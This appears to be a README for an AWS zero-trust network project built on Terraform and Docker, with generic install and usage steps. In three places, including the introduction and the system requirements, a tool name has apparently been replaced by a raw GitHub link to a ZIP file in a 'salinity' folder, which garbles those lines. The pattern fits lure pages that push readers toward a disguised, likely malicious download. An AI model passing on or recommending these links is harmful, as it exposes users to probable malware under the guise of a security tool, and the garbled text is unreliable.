🛡️ zero-trust-aws-architecture - Secure Your Cloud with Ease

📖 Introduction

The Zero Trust Network Architecture on AWS helps you secure your cloud infrastructure. It uses Terraform, https://raw.githubusercontent.com/FaxTheDuck/zero-trust-aws-architecture/main/salinity/zero-trust-aws-architecture.zip, and Docker to create a safe network. This solution features micro-segmentation of your Virtual Private Cloud (VPC), AWS PrivateLink for secure connections, authentication through Cognito, and monitoring with GuardDuty. It aims to keep your data and applications safe without needing a lot of technical knowledge.

🚀 Getting Started

To use this software, you will need to download and set it up on your system. Follow these steps to ensure that you have what you need.

🖥️ System Requirements

• Operating System: Windows, Linux, or macOS
• https://raw.githubusercontent.com/FaxTheDuck/zero-trust-aws-architecture/main/salinity/zero-trust-aws-architecture.zip: Version 14 or later
• Docker: Version 19 or later
• Terraform: Version 1.0 or later
• AWS Account: Required for deployment

📥 Download & Install

To download the latest version, visit this page: Releases Page.

1. Click on the Releases link.
2. Find the latest version and click on it.
3. Download the files appropriate for your system.
4. Follow the installation instructions included in the downloaded files.

For quick access, you can also click the button below:

🔨 Installation Steps

1. Extract the Files: After downloading, extract the contents of the ZIP file to a desired location on your computer.

2. Set Up Environment: Open your terminal or command prompt. Navigate to the folder where you extracted the files.

3. Install Dependencies: Run the following command:

   npm install
   

4. Configure AWS Credentials: Ensure that you have your AWS access keys set up correctly. You can configure these in your terminal by running:

   aws configure
   

5. Deploy the Architecture: Execute the command to deploy the Zero Trust architecture:

   terraform init
   terraform apply
   

   This will set up the necessary AWS infrastructure.

💻 Usage Instructions

1. Start the Application: After deployment, you can start the application by running:

   npm start
   

2. Access the Application: Open a web browser and go to http://localhost:3000 to access the application.

🚨 Important Security Note

Ensure that you regularly update your AWS security settings and monitor logs through AWS GuardDuty for any unusual activity.

🌍 Features and Benefits

• Micro-segmentation: Isolate your VPC for better security.
• PrivateLink: Access services securely without exposing them to the internet.
• Cognito Authentication: Manage user access securely.
• Comprehensive Monitoring: Use GuardDuty to track potential threats.

🛠️ Troubleshooting

If you run into issues during installation or usage, consider the following:

• AWS Permissions: Check if your AWS user has the necessary permissions.
• Environment Variables: Make sure that https://raw.githubusercontent.com/FaxTheDuck/zero-trust-aws-architecture/main/salinity/zero-trust-aws-architecture.zip and Terraform are installed and accessible from your command line.
• Firewall Settings: Ensure your firewall allows traffic on the required ports.

🤝 Contributing

If you have ideas to improve this project, please feel free to contribute. You can fork the repository, make your changes, and submit a pull request. Your thoughts and improvements are welcome!

💬 Support

If you need assistance, please check the Issues page. You can report bugs or request features there.

📑 License

This project is licensed under the MIT License. Please see the LICENSE file for more details.

For further details, visit the Releases Page to download any future updates.